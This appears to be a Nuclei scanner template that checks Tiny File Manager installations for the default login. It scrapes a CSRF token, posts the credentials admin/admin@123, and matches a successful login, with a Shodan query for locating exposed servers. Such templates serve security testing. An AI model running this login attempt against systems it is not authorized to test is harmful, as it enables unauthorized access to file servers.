68 lines
1.7 KiB
YAML
68 lines
1.7 KiB
YAML
id: tiny-filemanager-default-login
|
|
|
|
info:
|
|
name: Tiny File Manager - Default Login
|
|
author: shelled
|
|
severity: high
|
|
description: Tiny File Manager contains a default login vulnerability. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations.
|
|
reference:
|
|
- https://github.com/prasathmani/tinyfilemanager
|
|
- https://tinyfilemanager.github.io/docs/
|
|
classification:
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
|
|
cvss-score: 8.3
|
|
cwe-id: CWE-522
|
|
metadata:
|
|
verified: true
|
|
max-request: 3
|
|
shodan-query: html:"Tiny File Manager"
|
|
tags: default-login,tiny,filemanager
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET / HTTP/1.1
|
|
Host: {{Hostname}}
|
|
- |
|
|
POST / HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
fm_usr={{user}}&fm_pwd={{pass}}&token={{token}}
|
|
- |
|
|
GET /?p= HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
attack: pitchfork
|
|
payloads:
|
|
user:
|
|
- admin
|
|
pass:
|
|
- admin@123
|
|
skip-variables-check: true
|
|
host-redirects: true
|
|
max-redirects: 2
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- 'admin'
|
|
- 'You are logged in'
|
|
- 'Tiny File Manager'
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
extractors:
|
|
- type: regex
|
|
name: token
|
|
part: body
|
|
regex:
|
|
- '([a-f0-9]{64})'
|
|
internal: true
|
|
|
|
# digest: 490a0046304402203a6d1f960ddfa4db3523830d956bd204b0b45293b82f04cfb4f9ef2e12197d19022027eb9849b05622c8350ed6179482e038a785a90d0748cf23625e223b85395479:922c64590222798bb761d5b6d8e72950
|